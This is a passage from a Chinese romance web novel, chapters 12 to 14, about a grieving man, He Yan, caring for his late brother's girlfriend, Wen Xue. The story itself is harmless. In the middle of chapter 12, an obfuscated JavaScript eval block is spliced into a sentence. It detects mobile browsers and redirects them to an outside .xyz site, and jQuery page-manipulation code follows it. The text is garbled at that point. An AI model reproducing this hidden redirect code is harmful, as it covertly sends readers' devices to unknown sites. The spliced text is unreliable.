他们这行,能赚,路子走通了赚得还不少,但压力接踵而来,毕竟欠银行贷款,每天睁眼醒来想到那些利息,就算明天死今天也要爬起来继续干活。
贺岩嗯了声,往牙刷上挤牙膏。
吴越江此时此刻很兴奋,就想找人聊聊,那些话翻来覆去地说,说着说着忽然狐疑地看他,“你怎么又刷一遍?”
贺岩没吭声,他为什么要刷两遍,因为他嘴里全是甜得发苦的味道。
他被那杯热可可齁死了。
但当着她的面,他只能一口一口,喉咙都在发颤,仍然面不改色地咽下去。
-
清晨五点半,闻雪站在窗边,怔怔地看着外面,记起九点钟要上班,她在包里找到昨天记的笔记,再次回顾,或许这就是人的劣根性,上课时她几乎是任性地发呆,考试考得应该也很一般,但在贺岩公司的这段时间,她只想打起十二万分的精神,生怕出一点点错,给他带来麻烦,造成不必要的损失。
七点钟,她拿着包轻手轻脚出门,其他人还没醒来,筒子楼里也静悄悄的,外面满是雾气,她围好围巾,戴上手套下楼,昨天在车上她有看到早餐铺子。
从头走到尾,又从尾走到头,她在一个摊子前坐下,等老板将一碗热气腾腾的馄饨送到她面前时,她首先做的不是拿一次性勺子,而是拿出手机,斟字酌句地编辑消息发送:【哥,你今天不用给我买早餐,我已经出来了。】
这是她能想到的唯一的办法。
她舒了一口气,正要把手机揣回去时,手心一麻。
是他回的消息:【吃的什么?】
她回:【馄饨。】
手指准备点击发送时,又礼貌地在后面补充一句:【要给你带早餐吗?】
贺岩:【好,我吃豆浆油条】
她愣住,下一秒,他再次发了条消息:【一碗豆浆,两根油条】
她左右看看,看到有老板在炸油条,这才回他:【好的。】
闻雪专心致志吃完一碗馄饨后,拿着钱包去买了他要吃的豆浆油条,提在手里也很有份量,她加快步伐回到筒子楼,来了二楼最边上,她敲门的时候,贺岩对着镜子在刮胡子。
他放下剃须刀,随手扯下毛巾擦擦脸,带着比薄荷还冲的清冽气息开了门。
闻雪很有分寸地没有朝里看,目光低垂,落在地上,伸手递出买来的早餐:“要趁热吃。”
贺岩应了,接过,见她转身就要走,叫住她:“闻雪。”
她停下脚步回头。
他顺手从立柜上拿起车钥匙给她,“外面冷,去车上等我,我送你上班。”
12.012.
晨光熹微。
贺岩没有进屋吃早餐,他站在通廊上,一边慢条斯理地用油条蘸豆浆,一边注意着楼下的动静。
不一会儿,穿着白色羽绒服的闻雪走出楼道,出现在他的视野中。
他的视线完全跟随着她在动。
就连吴越江开门伸懒腰来到他身旁,他都没有立刻察觉。
吴越江看着他手里的油条,没好气道:“你有良心吗?出去买早饭都不知道给我带一份?”
“谁说我出去买早饭了?”贺岩轻描淡写地说,“闻雪给我带的。”
吴越江一脸讶然,都是多少年的兄弟,自然听出了贺岩话里的炫耀意思,揶揄道:“怎么不让妹妹给我也带一份?”
贺岩扫他一眼,“你别使唤她。”
两人以前没少使唤贺恒跑腿。
两毛钱就能让还是小学生的贺恒屁颠屁颠去小卖部买汽水。
楼下。闻雪很轻松地就在雾气中找到了贺岩的车,这辆车又高又大,像极了他,在外面停了一宿,挡风玻璃上都结了一 层雾水。
她并没有开门上车,而是摸索着车钥匙,开了后备箱。
前几天他给她拿行李时,她有看到吸水抹布,还带着潮意,她没想太多,认真地用抹布擦拭车身两边的后视镜,要是洗车店那个小学徒有她这份认真劲,必定客似云来。
贺岩嚼着油条,一开始没明白她开后备箱的用意,直到她哼哧哼哧地擦镜子时便不由自主地放慢了进食速度,神情也变得严肃起来,他扣上碗盖,这就要下去阻止她。
吴越江伸手按在他的左肩,压低声音道:“你别这样。”
简直是从一个极端走向另一个极端。
过去贺岩对贺恒纯粹是放养状态,每个月给够生活费,打电话的次数都不多,现在对闻雪,他过分小心了些,小心翼翼跟管东管西,只有一步之遥,一不小心会很容易变成让妹妹厌烦的专制哥哥。
贺岩拧眉:“我是让她在车上等我。”
“得了吧,人比人该死,这要是心悦,”吴越江耸肩,“她要是为我的车擦玻璃镜子,除非我先给她两百。”
“……”
闻雪将玻璃跟镜子擦得干干净净,又犯难地看向手中的这块抹布,环顾一周,不远处有水龙头,她快步走过去,完全没发现,在她拧开水龙头被冰冷刺骨的水冻得一个哆嗦时,二楼的尽头处,某个挺拔的男人跟着嘶了声。
她搓好抹布洗手,回到车上。
没过多久,贺岩上车坐上驾驶座,平静瞥她一眼。
他什么都没说,轻踩油门驶出筒子楼,路边有人推着车,卖茶叶蛋热粥面包之类的早餐,他靠边停车,解开安全带下车,绕过车头,来到摊子前,有一个锅里浸泡着袋装牛奶,冒着热气,他扫视一圈,“给我拿袋牛奶。”
“好嘞!老板要什么味道?”
贺岩想了想,“巧克力味有吗?”
“有!”老板麻利地捞出一袋巧克力牛奶,用毛巾擦干后递给他,还是热乎的。
贺岩给了钱后,回到车上,将牛奶塞她手里,“拿着。”
闻雪手里多了袋牛奶,有些茫然,人都是眷念温暖的,她已经下意识地包住它取暖,掌心的温热传至四肢百骸,这段路很短,短到她只来得及看他两眼便到了公司。
她正要下车,忽然一道低低沉沉的声音从身侧传来,“我下午要去见个客户,晚上也有饭局,不确定什么时候能回。”
闻雪听着,心里掠过一丝疑惑。
要不是车上只有他们两个人,她还以为他是在跟别人说话。
“晚饭你自己吃。”他说,“一定要吃。”
闻雪莞尔,点头应道:“好。”
应该是她前两天的样子吓到他了。
如果她知道他会来找她,她那几天肯定好好吃饭,至少让自己的脸色看起来好一些。
…
今天天气依然很好,艳阳高照,昨天贺岩跟工作人员留的是她的号码,中午她就接到了送货电话,没想到会这么快,她走路回筒子楼,午后的阳光晒在身上,暖洋洋的,深灰色的沙发就摆在落地灯旁,看起来竟然有了家的味道,越看越顺眼。
她中午发的消息,一直到傍晚,贺岩才有空看到。
他不习惯跟任何人发消息,通常都是有事打电话,效率更高。他在服务员一道菜一道菜送上来时,记起现在是饭点,便想问她有没有吃饭。
谁知,看到了五个小时前她发来的消息:【沙发送到了。】
他垂眸看着,打字回复:【吃了吗?】
与此同时。
闻雪被娜娜拽着来逛夜市,她的理由很充分,她们都落单了,贺岩有饭局,万年开长途去了,孤单的人当然要凑到一块儿,对此闻雪总觉得有哪儿不对,但她又说不上来。
临近过年,夜市没以前热闹,摊位还是很多。
娜娜站在麻辣烫摊位前就走不动道了,深吸一口气,香迷糊了,“闻雪,我们吃这个好不好?”
如贺岩猜测的那样,现在的闻雪对吃吃喝喝没有兴趣,无所谓吃什么,能填饱肚子就行。
她正想点头答应,放在羽绒服口袋的手机振动,拿出一看,是贺岩发来的消息,她的眼睛从手机屏幕慢慢挪开,朝四周看看,摇头回道:“不了,我得吃别的。”
说完,她低头回他的消息:【正要吃,吃饺子,跟娜娜一起。】
她总觉得,如果她说她吃麻辣烫,手机那头的他会皱起眉头。
娜娜苦着一张脸,也不能勉强她,只好打包了一份麻辣烫,陪她来了饺子摊,两人坐在折叠小桌前各吃各的,一人叽叽喳喳,一人偶尔柔声附和,也算和谐。
餐厅私密包厢内,贺岩没再回复闻雪的消息,收起手机放回口袋。在饭局上谈生意,难免要喝酒,桌上摆着红的白的,酒过三巡,气氛渐渐松弛,大哥啊老弟啊这类的称呼已经叫上,忽然似是闲聊一般,他靠了靠椅背,说,“大哥在华城应该也认识不少达官显贵吧?”
周总乐呵呵,“怎么,老弟要把生意往华城发展?”
“是有这个想法。”
贺岩又给他斟了半杯酒,沉吟道:“我听说华城有个周家。”
周总一顿,笑着摆摆手,“可真是抬举我了,我要是跟那个周家沾亲带故,还用得着到处折腾呢?”
可能是喝高了,他话锋一转,“不过这周家也没几年太平日子过了。”
“怎么讲?”贺岩仿佛好奇,追问。
“家家都有本难念的经,狗都知道争个窝呢,更何况人。”周总压低声音,喷出酒气,中年男人的通病,喝了酒异常啰嗦,“周家有两个儿子,不是一个妈生的,这大儿子吧,常年在国外,消息不多,听说是个蛮温和的性子,小儿子嘛,嚣张霸道,明眼人都看得出来,老头偏心小的。”
贺岩感慨,“原来如此。”
这个话题草草结束,等酒喝得差不多了,周总的司机进来扶人,不一会儿,包厢只剩贺岩,他单手撑着额头平息酒意,静坐片刻,叫来服务员,重新点了几个招牌菜以及甜品一起打包带走。
他喝了酒,提前找好代驾。
从餐厅出来时,凛冽寒风如刀一般刮在身上,他恢复丝清明,步伐平稳地朝停车方向走去。
…
“老板,是这儿吧?”
代驾停好车,拉起手刹,出声唤醒在后座休息的贺岩。
贺岩撩开眼眸,看向窗外,嗯了声,多给了代驾一些小费就让他先走了,他在车上又坐了几分钟,提着打包盒下车,习惯性地抬头看向三楼最边上的房间,灯是关的。
他看了眼腕表,八点半,她应该没这么早睡?
脑子一片混沌,他锁好车,抬腿往楼道里走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770781|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去,隐约听到熟悉的激烈的声音,对方说的是方言,内容他听不懂,抬眼辨认,认出是娜娜后,他不再关心,直接上三楼。
刚站稳,某个房间传来笑笑闹闹的对话——
“闻雪妹妹,天都快亮了,还没想好打哪张牌吗?”
“我看她就是在发呆!”李静如噘嘴吹口哨。
一道轻柔又无奈的女声响起:“静姐,我没发呆……我就是,我真不会打牌,让我想想……”
闻雪很着急。
因为娜娜要接电话,非让她帮忙顶一会儿,她就被娜娜按在了牌桌上。
手指拂过麻将,正想眼一闭心一横随便打一张出去时,刚刚还催促她、调侃她的三个人噤若寒蝉,原本热闹的屋里瞬时间鸦雀无声,坐她对面的李静如一脸心虚地看向门外,她眼皮一跳,有种不太妙的预感,转头看过去,对上一双深邃的眼眸。
贺岩在门口站定,目光锐利地盯着她。
她不知道他看了她多久。
他顶着他们的注视走了进来。
除了闻雪以外的三个人纷纷战术性后仰,有个年轻司机已经琢磨着该往哪躲,才不至于在岩哥掀翻桌子时被麻将砸到。
贺岩来到闻雪身后,微微俯身,他身上有酒气,但不难闻,他沉声问,“在打牌?”
闻雪答非所问,也是坦白从宽,老实道:“我不会。”
希望他知道,她不是自愿打牌的。
贺岩停顿,以为她是在向他求助,缓声道:“我也不会,教不了你,你就随便出张牌吧。”
另外三人:“??”
一个两个懵了,还以为自己出现了幻听,不然怎么这样一句鬼话是从他们岩哥口中说出来的?
闻雪听出他没有生气的意思,点了下头,胡乱打出一张牌,随着麻将碰桌的沉闷声响起,三家纷纷回过神来,年轻司机看看闻雪,又看看贺岩,“岩哥,我能胡牌吗?”
“不能。”
“哈哈哈胡了!”
闻雪肩膀一垮。
又输了。
就这么一会儿的功夫,她输了几局,拿的都是娜娜的钱,她手撑着桌子起身,“我回房间拿钱包。”
贺岩喝过酒后,反应没清醒时敏捷,但也琢磨过来这是怎么回事,拦住了她,从口袋拿出钱包,抽了几张百元摁在桌上,此时娜娜脸上带着怒意冲进来,见他跟鬼似的站在屋子里,吓得叫了声,马上转身就要跑。
“带了些吃的。”贺岩将一个纸袋直接放桌上,“估计凉了,你们自己热着吃吧,别玩太久。”
说完,他看向闻雪,“我送你回去。”
闻雪赶忙起身。
两人一前一后走出屋子。
娜娜拍拍胸口,回到牌桌前坐下,定睛一瞧,自己这边多了几张钞票,震惊不已,“都是闻雪赢的?她是雀神吗?”
“……”
“……”
“怎么不算呢?”李静如笑笑。
贺岩把闻雪送到门口,将另外一份单独的打包纸袋给她,“甜品,尽量今天吃。”
闻雪接过,很奇怪,刚才人多那股酒气不算浓,现在她能清晰地嗅到他的酒意,看到他强撑出的神色自若,她实在有些担心他下楼时会踩空,干脆反手带上门,跟在他身后,保持着几米的距离。
等她看着他进屋后,她再回来。
昏暗的通廊,高大的男人走在前面,步子已经有些晃悠,年轻的女人跟在后面。
一开始,贺岩没察觉到她跟着他,直到他站在房门外,找钥匙时,手抖了一下,没拿稳,钥匙掉在地上,他弯腰去捡,余光却瞥见不远处的一双毛绒绒的兔子拖鞋。
她不知道该不该上前来,步履踟蹰,目光隐含担忧地望着他。
真稀奇,他哑然失笑。
还是头一回有人担心他走过的路太黑,要送他回家。
13. 013.
长长的通廊上,此时只有他们两个人。
一人弯腰,一人无措地站着。
“过来。”
贺岩勉强撑着一口气,直起身子,声线略沙哑地对她说道。
在闻雪自我保护的意识中,她是绝对不可能靠近一个喝醉了的男人,因为那往往意味着危险,但贺岩似乎不在这个范畴,她没有再犹豫,快步来到他身侧,迟疑着伸出手,停在半空中,不知道要不要扶他。
贺岩已经不着痕迹地避开,将钥匙给她,笑了声:“帮我开下门。”
闻雪嗯了声,从他手里接过钥匙,摸索着插进锁孔,这一方安静的小天地,细微的声响都被放大,转动钥匙,门嘎吱一声开了,也许他通常都是在门口镜子那儿刮胡子,空气中好像都漂浮着清冽的气息。
“谢了。”
他说,“回去休息吧。”
见他平平安安到门口,闻雪也没什么不能放心的了,她点了下头,却仍然一步三回头往楼梯那边走,每一次回头,贺岩都还站在门口看着她。
她抿唇笑笑。
楼道的灯照着脚下的路,她来到三楼,刚走到房门口,寂静的夜里,由下而上传来熟悉的声音,“到了吗?”
她一惊,赶忙扶着栏杆,着急地往下看。
楼下,贺岩也在探头朝上看。
不知怎的,她闷闷地笑了起来,“到了。”
下面没声了,她竖起耳朵听,听到门关上的声音,舒了一口气,转身往屋里走,一旁的矮桌上还放着他打包回来的甜点,尽管她现在没什么胃口,她还是拆开纸袋,拿出盒子,打包得很精致,是一块诱人的巧克力蛋糕。
她怔了几秒,找到叉子。
坐在沙发上小口小口地吃着,甜而不腻,味道很好。
…
闻雪开始习惯在这里的生活。
这几天早上她都七点半出门去吃早餐,同时给贺岩发消息,问他想吃什么,有时候是豆浆油条,有时候他也会好奇她一连吃几天的馄饨究竟有什么过人之处,让她给他带一份。
然后他会给她车钥匙,让她在车上等他。
李静如的口哨声每天还是会在办公室响起,但比起头一两天的频繁,现在频率明显降低。
午休的时候,她也会跟着周姐她们在外面晒太阳,嗑瓜子。她没有感觉到自己变好,却也没有变得更糟糕,就好像有一个人在托着她,不让她坠落。
贺岩工作很忙,尤其是这段时间,既要赶在过年前去催收账款,又要跟客户联系感情,送礼是必不可少的,前脚送走周总,后脚他也要出差谈事。
临走前反复交待吴越江,要帮忙照顾闻雪。
最后念叨得吴越江都烦了,“她二十,二十岁的成年人,又不是两岁小孩!”
话虽然这样说,但贺岩走后,吴越江自动接手他的任务,每天开车送她上班,下班,这天终于抽出空来,载她出去吃饭,全程她都很安静内敛,吃着火锅里的烫青菜。
“闻雪,其实我心里特别感谢你能过来,不是为了公事,而是私事。”
吃饱后,吴越江放下筷子,语气里带了些郑重其事的意味。
闻雪一顿,有些疑惑地看向他,不太明白他是什么意思。
吴越江的目光定在了她右手手腕的女表上,如果他没记错,这是贺恒送给她的十九岁生日礼物。
当时贺恒还找他帮忙参考。
在少年眼中,女朋友的生日就是最大的日子,别的事通通让步,挑了很久,纠结了很久,他都想把这臭小子拉黑,怨气冲天地问,冤有头债有主,怎么不去找亲哥。
贺恒叹气,亲哥会甩钱让我滚远点。
他哈哈大笑。
记起这件事,吴越江眼中浮现淡淡的笑意,却没有跟闻雪提及,“你觉得贺岩他的状态怎么样?”
闻雪想了想,轻声道:“很好。”
贺岩是她见过的,最了不起的人。无论是贺恒在时,他以一己之力承担起养育责任,还是贺恒走后,他能够咽下所有的痛楚,挺直腰背重新振作,这些都是寻常人做不到的事,而他做到了。
“是吗?”
吴越江怅然若失,“现在能留住贺岩的只有责任。”
在他们一群人还只是会写责任这两个字时,贺岩就将它扛在了身上。
“以前是贺恒。”吴越江缓慢地说,“现在是公司和我,我跟他说,是他把我拉进来的,这摊子就要越做越大,他问我想赚多少钱,我报了个天文数字。”
闻雪静静地听着。
“不知道能留他多久,一天算一天吧。”他笑,眼前这个女孩还不知道,她也成为了贺岩的责任。
“留住……”她不知所措,“是什么意思?”
“有一段时间他经常去庙里,其实他根本就不相信这些,但贺恒的死让他特别痛苦,”吴越江苦中作乐,“他这要是搁古代,一个天煞孤星的名号绝对跑不掉,他心里很自责,他一直觉得是他没有照顾好弟弟,弟弟才二十岁啊……坦白说,我觉得等他看着我赚了那么多钱后,他绝对拍屁股走人,搞不好就去一个庙里,吃斋念佛。”
闻雪久久回不过神来。
她在努力消化这些话,每一个字都钻进她的心里,夹杂着细碎的玻璃。
“为什么?”她喃喃问。
吴越江不是一个感性的人,可这会儿却狼狈地别过头,缓了一会儿后,又若无其事地笑道:“所以,我说谢谢你,你来了以后,他其实很开心。”
说到这里,他又给她倒了一杯茶。
她拿起杯子喝水,神情依然有些恍惚。
叮铃叮铃——
吴越江的手机响了起来,他都不用看就知道是贺岩的来电,直接接通,放在耳边,喂了声,那头跟昨天前天一样,问道:“送她回去了没?”
“没,带妹妹在外面吃火锅呢。”他说。
闻雪仓促地抬起眼眸,看向坐在对面的吴越江,直觉告诉她电话那边的人是贺岩。
“嗯嗯嗯。”吴越江不耐烦地应了几声,“知道,你现在怎么这么啰嗦了?对了,妹妹在,你要不要跟她说几句?”
闻雪马上放下杯子,正襟危坐。
就像是要面对教导主任的三好学生。
“那好吧。”吴越江看了闻雪一眼,拿开手机,结束通话,冲她笑笑,“他忙得要死,每天还要电话监督我有没有送你回去,服了他。”
闻雪肩膀一松。
她眼睫低垂,继续喝水,没喝几口,在吴越江起身去前台买单时,她口袋里的手机振动,拿出来一看,是贺岩来的消息:【早点回去休息。】
吴越江拿着发票回来,还没走到这一桌,隔着几步距离,看见闻雪正双手拿着手机认真打字,像是在跟谁聊天,唇角带着轻松的浅浅笑意。
-
贺岩这次出差是自己开车去的,几百公里的距离,去的时候一鼓作气,回来的时候难免有些疲惫,他临时在中间的城市停一个晚上,订了间房睡觉。
冲完澡躺床上睡了,暖气开得很足,令人口干舌燥,凌晨两点醒来,喝了瓶水人也彻底清醒过来,索性拿着手机车钥匙下楼退房,开车冲进黑夜中,在高速路上疾驰。
开了三个多小时,清晨雾气蒙蒙,他停好车,视线却穿过挡风玻璃,看向三楼开着灯的房间,抬起手,腕表表盘折射出一道暗光,确定现在是五点四十,而不是六点四十,七点四十时,他微不可察地皱了下眉。
熄火,下车,他关上车门,似乎是怕吵到了谁,力度比以前轻了很多。
锁好车后,他大步走进楼道上楼,眼看着离那个房间越来越近,他放慢了步伐,琢磨着可能她睡觉前忘记了关灯?于是从口袋搜出手机,试探着给她发了条消息:【醒了吗?】
收到消息的时候,闻雪正抱着热水袋窝在沙发上。
前两天,她跟娜娜逛夜市时买了草莓盆栽。
她早起睡不着,就会盯着盆栽,不知道什么时候能结出草莓,她甚至怀疑,自己被骗了,这可能根本就不是草莓盆栽,不然怎么浇几天水了,一点反应都没有。
忽然,手机振动。
她睡觉前都会把手机放沙发上充电。
该拉黑的人都拉黑了,她的世界很清静,但这还是第一次这么早收到消息。
是谁?
点开一看,还以为自己看错了,怎么是在出差的贺岩?难道是出什么事了吗?一时间,她的心都提到了嗓子眼来,仿佛回到了夏天的那个晚上,毫无预兆地收到警察打来的电话。
从那个晚上,她就好像被拖进了长而黑的隧道里。
她猛地起身,提心吊胆地回复,手都在发抖:【醒了,怎么了?】
下一秒。
与有节奏的敲门声同时传来的是他的回复:【开门。】
闻雪急急跑到门口,一下拉开门,外面气温明显更低,寒气趁虚而入,风尘仆仆的贺岩站在门口,他双手插兜,挺括的风衣下摆有了折痕,却不显狼狈,他偏了下头,声音沉沉,“穿厚点,我带你去个地方。”
几分钟后,裹上围巾,戴着手套的闻雪惴惴不安地跟在贺岩身后,上了她从未去过的筒子楼楼顶。
门是拴上的。
贺岩三下两下,无比熟练地开了门,铁锈门仿佛摇摇欲坠,他率先抬腿走出去,示意她跟上,寒冬腊月,呼出的气几乎都要凝结成冰,偌大的楼顶,连晾衣绳都在风吹雨淋中断落在地,无比萧条。
闻雪跟上他,他好像很熟悉这里,径直来了某一处,“这里能看到太阳升起。”
她侧过头,凝视他的侧脸。
看了一会儿,她挪开目光,掠过地上歪歪斜斜散落的啤酒瓶,心中已经有了猜测,他在向她展示他的伤疤。
两人站着,沉默地遥望天边。
不知道过了多久,时间流逝地无声无息,他说,“来了。”
太阳升起,稀薄的日光穿过云层,闻雪的眼睛都亮了起来,她看过夏天的日出,可这一刻,她由衷地觉得,冬天的日出,更让她感到震撼。
那么……
她轻轻地看向贺岩,他看过多少次这样的日出了?
她呵出白气,下楼时,没有立刻跟上他,她蹲下来,一地的啤酒瓶,今天肯定拿不下,明天再来拿,她一手拎着两个瓶子,瓶身相撞,发出清脆的声音,贺岩闻声回头,四目相视,她小声解释:“垃圾……要扔进垃圾桶里。”
别人制造的垃圾,她管不了。
但这些是他喝的。
贺岩静默,有些尴尬,却也坦白承认,“应该的,我那时候没有素质。”
她扑哧一下,笑了起来,眉眼弯弯。
14. 014.
在贺岩撞见闻雪清晨五点多就开灯呆呆坐在沙发的第二天,他就征询过她的意见,托人给她在西城口碑很好的中医院挂了号,次日上午,他便开车载她过去,医院哪天人都多,找停车位都找了半天。
过去贺岩对很多事都不耐烦,脾气糟糕,碰到加塞的,比他素质还低的,有时候火气上来了,总要跟人干一仗才行。
他现在依然火气蹭蹭往上涨,但副驾坐着闻雪,他侧目看她,她很平静很乖地抱着围巾坐着,会让他也跟着熄火。
贺岩两辈子加起来,来医院的次数一双手都数得过来。
以前是带贺恒看儿科,现在是带闻雪来把脉。
偏偏这两件事出现在他身上都很诡异,他走在前面开路,闻雪慢吞吞地跟在后面,不知情的人会以为他们是陌生人,他们挂的是专家号,等叫号都要好久。
贺岩目光扫视一圈,找到了个位子,不由分说带她坐下。
闻雪坐了会儿,坐立难安,还是起身,把位子让给了一个奶奶。
她在学生时代拿到的奖状能贴满整面墙。
总之,不管是家人老师教的,还是课本上学到的,她不管多疲倦,都无法忽视老幼病残,明明她自己纤弱得能被风吹走,她也会坚持这样做。
贺岩以为她踏踏实实坐着呢,便到了楼梯口那里站着透气,低头接打电话。
在这个节骨眼上,一天的通话记录都翻不完。
结束一通电话后,他察觉到不对劲,侧过头看去,距离他一米多站着个人,一个本应该坐着休息的人,对方睁着清亮的眼眸无辜地看着他。
“……”他问,“叫号了?”
“没有。”闻雪轻声,“有个奶奶站着,我不好意思坐着。”
那个奶奶可能六七十了,她才二十岁。
贺岩嘴角抽了抽,他回头看了眼,心想,那个奶奶看起来可比她健朗多了。
又等了十几分钟,总算排到他们,贺岩知道年轻男女一起来看病,不了解内情的人或多或少都会怀疑是什么关系,他便主动道:“医生,我陪我妹妹来看看,要是有不方便的地方,我出去等着也行。”
医生笑着点头。
一通把脉后,她问:“睡不好吗,有多长时间了?”
闻雪慢慢缩回手,“半年了,做梦就会醒,醒来就睡不着了。”
贺岩没有靠得太近,闻言神色复杂地看向她的发顶。
她坐姿很端正,穿着厚厚的羽绒服,感觉还是晃荡的。
医生很细致,也很耐心,对症开了药,贺岩拿着单子去拿药,满满当当一大包,全都是调理身体的中药液,回了筒子楼,顶着他的注视,闻雪开了一包,小心翼翼地喝了口,面色扭曲,“好苦!”
要不是他在这里,她能马上吐出来。
贺岩:“有这么苦?”
他的语气跟以往无异,但闻雪听来总觉得带了些质疑,不可否认,这段时间她跟他的关系拉近了很多,尤其是昨天看过日出后,他在她这里,已经不仅仅只是贺恒的哥哥,他有了他自己的姓名,她沉默几秒,嘴里苦苦的,垂眸思索几秒,从里拿出一包递给他,无声看他,意思很明显,你要不相信,试试啊。
贺岩微愣,理解她的意思后闷笑一声,却还是接了过来,拆开灌了一口,一口就是半袋。
他身躯僵硬了一瞬,继而镇定自若地将剩下的喝得一滴不剩。
闻雪杏目圆睁,他没有味觉的吗??
贺岩把空了的袋子扔进垃圾桶里,神情平淡,“还是听医生的,实在觉得苦,喝完后吃点甜的。”
闻雪还在震惊中,仔细在他脸上找寻蛛丝马迹,但很遗憾,他就像喝了一杯水似的,一点反应都没有。
“我还有事。”贺岩盯着她手里还剩一大半的中药,提醒,“记得喝完。”
闻雪:“……”
不是。
他真的觉得不苦吗?
在她怀疑人生的目光中,贺岩转身大步下楼,他回了自己的房间,门虚掩着,吴越江回来拿点东西,听到隔壁有动静,把玩着车钥匙走过来,推开门,只见贺岩站在水池前刷牙。
吴越江狐疑地看了眼外面的日头。
现在不是早上,也不是晚上,刷牙?
“你现在刷牙?”
贺岩没有立刻回答,仰头漱了口,舌根都是苦的,“我讲卫生行不行?”
吴越江:“?”
行。
…
闻雪每天按时喝药,她也说不上有没有效果,目前只觉得苦而已,早上醒得早,在不下雨的日子,她会轻手轻脚地来到楼顶,等着太阳冲破黑暗,没几天,她把楼顶所有的啤酒瓶都捡完了。
这天她被娜娜缠了一个下午,不得不点头答应下班后出去逛街。
她敲开贺岩办公室的门,向他“请假”。
晚上她不能跟他一起吃饭了。
他听了她的来意后,从口袋拿出钱包,她后退一步,抿唇道:“不要。”
她有钱,况且他前不久往她钱包塞的现金她就只花了两百。
贺岩打开钱包,手指触碰到一张卡,正要抽出来给她,见她脸上写着抗拒,实在不太懂现在的年轻人都在想什么,贺恒是这样,她也是这样,好像每次他给的不是钱,是炸弹。
“逛街总要买点东西。”他说。
闻雪摇摇头,“我有钱。”
贺岩无奈合上钱包,“多买点。”
“要我给你带点东西吗?”她想了想,问道。
“不用。”
贺岩对这些不感兴趣,穿的衣服也不在意,好几件都是吴越江出去逛街时顺手给他带的,但看她似乎有些失望的神色,他顿了顿,又改口道:“不如你给我带把牙刷吧。”
闻雪眼睛亮了起来:“好。”
她脚步轻快地走出办公室,六点一到,就跟娜娜直奔公交车站,去往离得近一点的星光广场,几个站就到了,娜娜个高腿长,拉着她往里冲,谁叫才发工资又赶上过年呢。
“大衣好好看!”
娜娜摸摸质地,又看看标签上的价格,嘟囔道:“不过过年那几天西城好像雨夹雪,肯定穿不上,我还是等换季打折再把它拿下吧。”
闻雪惊讶,“你不是买了票回老家吗?”
“不回啦。”
娜娜耸肩,轻松笑笑,“我人还没回去,我爸妈就给我打电话,要我跟万年拿钱,说我哥今年要订婚,关我屁事啊,如果回去吃一顿年夜饭就得给钱,那我就不回了。”
“这样啊。”
闻雪很少会探究别人的生活,这次也不例外,她脸上的神情仿佛听了天气预报般自然。
这个话题轻飘飘被带过,只是在娜娜试穿衣服时,她接到了姑姑打来的电话,催促她早点买票回海城过年,她犹豫了一会儿,捂着手机小声道:“姑姑,我今年就不回去过年了。”
她温声细语解释了一番。
姑姑愣了下,笑道:“行,转你压岁钱记得收。”
挂电话前,又欣慰地补充了一句,“听你说话,好像过得很开心,那就好。”
闻雪本来对于在哪里过年这件事无所谓的,但她忍不住想,公司里其他人陆陆续续买票要回老家,贺岩没有动静,他也没问过她,既然娜娜跟万年都在,她干脆留下来。
这样,好像会更热闹一些。
娜娜体力好,恨不能逛到商场关门,闻雪却有些吃不消,九点钟她们便打车回筒子楼,在二楼她们分别,娜娜上三楼回房,她去二楼给贺岩送牙刷。
他房间的灯开着。
她敲了敲门,他应该刚洗完澡没多久,头发还有些湿,扑面而来一股肥皂的味道,只穿了件深色毛衣,问她,“逛完了?”
“嗯。”
她双手递出纸袋,“牙刷。”
贺岩看了眼,简直一头雾水,什么时候牙刷用这么大的盒子包起来了?不都是一把一把的吗?
闻雪被他困惑的表情逗笑,“电动牙刷,有两个替换牙刷头,充一次电可以用很久。”
她想给他买好的牙刷。
正好在商场看到了专柜,没有多想,就让店员包了起来。
贺岩更困惑了。
闻雪还急着去洗澡,过了十点热水器的水就没那么热了,便将纸袋往他手里一塞,转身小跑着上楼,留下贺岩举高手,拧着眉端量这个盒子。
他拆了包装,看到里面花里胡哨的,又是牙刷头,又是充电器。
比买个手机零件还多。
但看着看着,他眼里多了些笑意,妹妹比弟弟还是有良心多了,贺恒给他当弟弟二十年,他就收过一双戴了没几天掉皮的手套,以及现在这个也开始掉皮的钱包。
净买些便宜的假货。
-
隔天是今年最后一天上班的日子。
他们公司小,人也不多,就不整那些虚的,年会的预算都用来发奖金,只在这一年要结束时,所有员工凑一块吃顿饭,再去唱个歌,就当是办了年会。
一个二十人的大包厢全都坐满,贺岩总觉得自己没什么文化,所以激励人心的场面话环节他都交给高材生吴越江,司机们其实也听不懂吴越江说的那些词,但这不影响他们当气氛组,高声喊:“好!好!!”
“最后,让我们举起杯子,敬贺总一杯。”吴越江说,“没有他,就没有长亚。”
贺岩:“……”
汪远开了瓶酒,殷切地给每个人倒酒,他还没靠近闻雪,贺岩便道:“别给她倒,她在喝中药。”
“我给她倒橙汁!”
贺岩不置可否。
闻雪的杯子里多了半杯橙汁。
汪远又蹿到贺岩旁边,就要给他倒酒,谁知他伸手盖住杯口,“不用给我倒,我今天不喝酒。”
“怎么,哥,你也喝药?”
“对,我吃降压药。”贺岩说,“被你们气的。”
闻雪忍俊不禁,这段日子以来,在贺岩的督促下,她三餐规律,原本苍白的脸色也红润了些。
一顿饭大家有说有笑,兴致越发高扬,一群人浩浩荡荡走出餐厅,三三俩俩坐车去娜娜订的ktv,闻雪有种恍如隔世的错觉,她都记不清上一次参加这种娱乐活动是什么时候的事了,被李静如揽着走进大包,桌上摆着啤酒果饮,果盘,各类小吃。
几个话筒分分钟就被抢走。
闻雪是他们中年纪最小的,上到周姐,下到娜娜,平日里就很照顾她,几首歌之后,有个话不多的司机大哥将话筒给了她,她接过就要往外推,但他们起哄,非要她去点歌。
她下意识地找寻贺岩的身影,但他出去接电话了。
吴越江靠着卡座,失笑:“试试,肯定比他们刚一顿鬼哭狼嚎的强。”
其他人不干了。
